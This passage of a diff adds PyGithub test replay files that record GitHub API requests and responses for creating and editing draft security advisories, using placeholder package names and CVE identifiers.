chuh/security-research","homepage":null,"size":152,"stargazers_count":15,"watchers_count":15,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":true,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":8,"license":{"key":"cc0-1.0","name":"Creative Commons Zero v1.0 Universal","spdx_id":"CC0-1.0","url":"https://api.github.com/licenses/cc0-1.0","node_id":"MDc6TGljZW5zZTY="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":6,"open_issues":8,"watchers":15,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":6,"subscribers_count":4} + +https +GET +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a7d34dabeec842896ab9597991bcdac9df2f40ea0f01b38901ea71843a45bc"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F615:4E3C:6FC6FA:E39FA2:642C4F44')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"}]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": []} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f4a77dc80164dd9e7a1f483b94c3db7ccbcbbccb996c1ed3d394cddf90b4d591"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F616:817C:6F2796:E1CA7F:642C4F44')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": [{"login": "octocat", "type": "analyst"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a7d34dabeec842896ab9597991bcdac9df2f40ea0f01b38901ea71843a45bc"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F618:0C65:20E2CB:431BAB:642C4F44')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"}]} diff --git a/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt b/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt new file mode 100644 index 0000000000..8c070ba3e6 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEE5:23B6:485487:939882:642C41E8')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +POST +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test creating a GHSA via the API adding and removing vulnerabilities", "description": "Simple description", "vulnerabilities": [], "cwe_ids": [], "severity": "low"} +201 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"3db06831549ec4357c1f120aded02676224ede5707e59ebe7933593f6900343d"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FEEA:0E49:4361FD:899387:642C41E9')] +{"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"vulnerabilities": [{"package": {"ecosystem": "maven", "name": null}, "patched_versions": null, "vulnerable_functions": null, "vulnerable_version_range": null}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6c5a1d8550738b7052c587a40ce822c1ec0d9b7925506d353956756c3eda6e26"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEEB:0FB7:4ACC5A:989B6C:642C41E9')] +{"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple 